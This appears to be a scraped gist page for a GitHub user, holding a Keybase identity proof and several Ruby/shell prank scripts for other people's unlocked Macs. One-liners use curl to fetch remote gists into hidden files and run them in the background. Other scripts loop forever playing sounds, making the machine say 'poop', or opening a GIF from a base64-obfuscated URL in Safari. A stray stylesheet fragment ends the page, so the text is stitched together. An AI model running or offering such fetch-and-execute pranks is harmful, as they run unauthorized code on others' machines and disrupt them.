smcpherson

Keybase proof

I hereby claim:

• I am smcpherson on github.
• I am smcpherson (https://keybase.io/smcpherson) on keybase.
• I have a public key ASAntHAVcnu4DsDM4mOOmb18EHcB6KCA6vS2fXv1TgrY2wo

To claim this, I am signing this object:

smcpherson

#########################################
# me: Knock Knock.. 
# you: Who's There?
# me: Guess. 
# you: Guess???.... ok. Guess who? 
# me: Guess who didnt lock their computer.... AHhh hahahahahahaaha.  💩
#########################################
curl https://gist.githubusercontent.com/smcpherson/d37db56abb79f23b9357/raw 2>/dev/null > ~/.knock.rb; ruby ~/.knock.rb & 

smcpherson

#
#
# FYI, you should probably lock your computer. 
#
#
`curl http://www.audiocheck.net/download.php?filename=Audio/audiocheck.net_binaural_knocking.wav > ~/.knock.wav`
while true do
  if [4, 28, 33, 56].include?(Time.now.min) && Time.now.sec == 20
    print [9994].pack('U*')+" " # hand
    print [128682].pack('U*')+" " # door  

smcpherson

curl https://gist.githubusercontent.com/smcpherson/238b134d80f05ff6c8dc/raw/327fdea961cff2367112e860b70b115f069217a0/poop > ~/.poop.rb; chmod u+x ~/.poop.rb; 
ruby ~/.poop.rb & 
ruby ~/.poop.rb &
ruby ~/.poop.rb &

smcpherson

v = %w(Agnes Kathy Princess Vicki Victoria Alex Bruce Fred Junior Ralph Albert Bahh Bells Boing Bubbles Cellos Deranged Hysterical Trinoids Whisper Zarvox)

# Initial delay:
sleep(60 * 5)
 
# Infinite Poop: 
while true do
  `say -v #{v[rand(v.length)]} "poop"`
  sleep(rand(60))
  print [128169].pack('U*')+" "

smcpherson

require 'base64'; require 'open-uri' ;open('lolz.gif', 'wb') do |file| ;  file << open(Base64.decode64("aHR0cDovL3d3dy5tZW5zaGVhbHRoLmNvbS9pbWFnZXMvTUhfU3RhdGljL2di\naXMvMDcwLVNpdHVwc1RocnVzdC1IaXBUaHJ1c3QuZ2lm\n")).read ;end ;while true do ;  `open -a "Safari" ~/lolz.gif` ;end

smcpherson

require 'base64'; require 'open-uri' ;open('lolz.gif', 'wb') do |file| ;  file << open(Base64.decode64("aHR0cDovL3d3dy5tZW5zaGVhbHRoLmNvbS9pbWFnZXMvTUhfU3RhdGljL2di\naXMvMDcwLVNpdHVwc1RocnVzdC1IaXBUaHJ1c3QuZ2lm\n")).read ;end ;while true do ;  `open -a "Safari" ~/lolz.gif` ;end

smcpherson

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  table.shrink tr td
    p, h1, h2, h3, h4, h5, h6
      max-width: 420px
  // normal overrides
  h5, h6
    margin: 3px 0
  h5
    margin-top: 0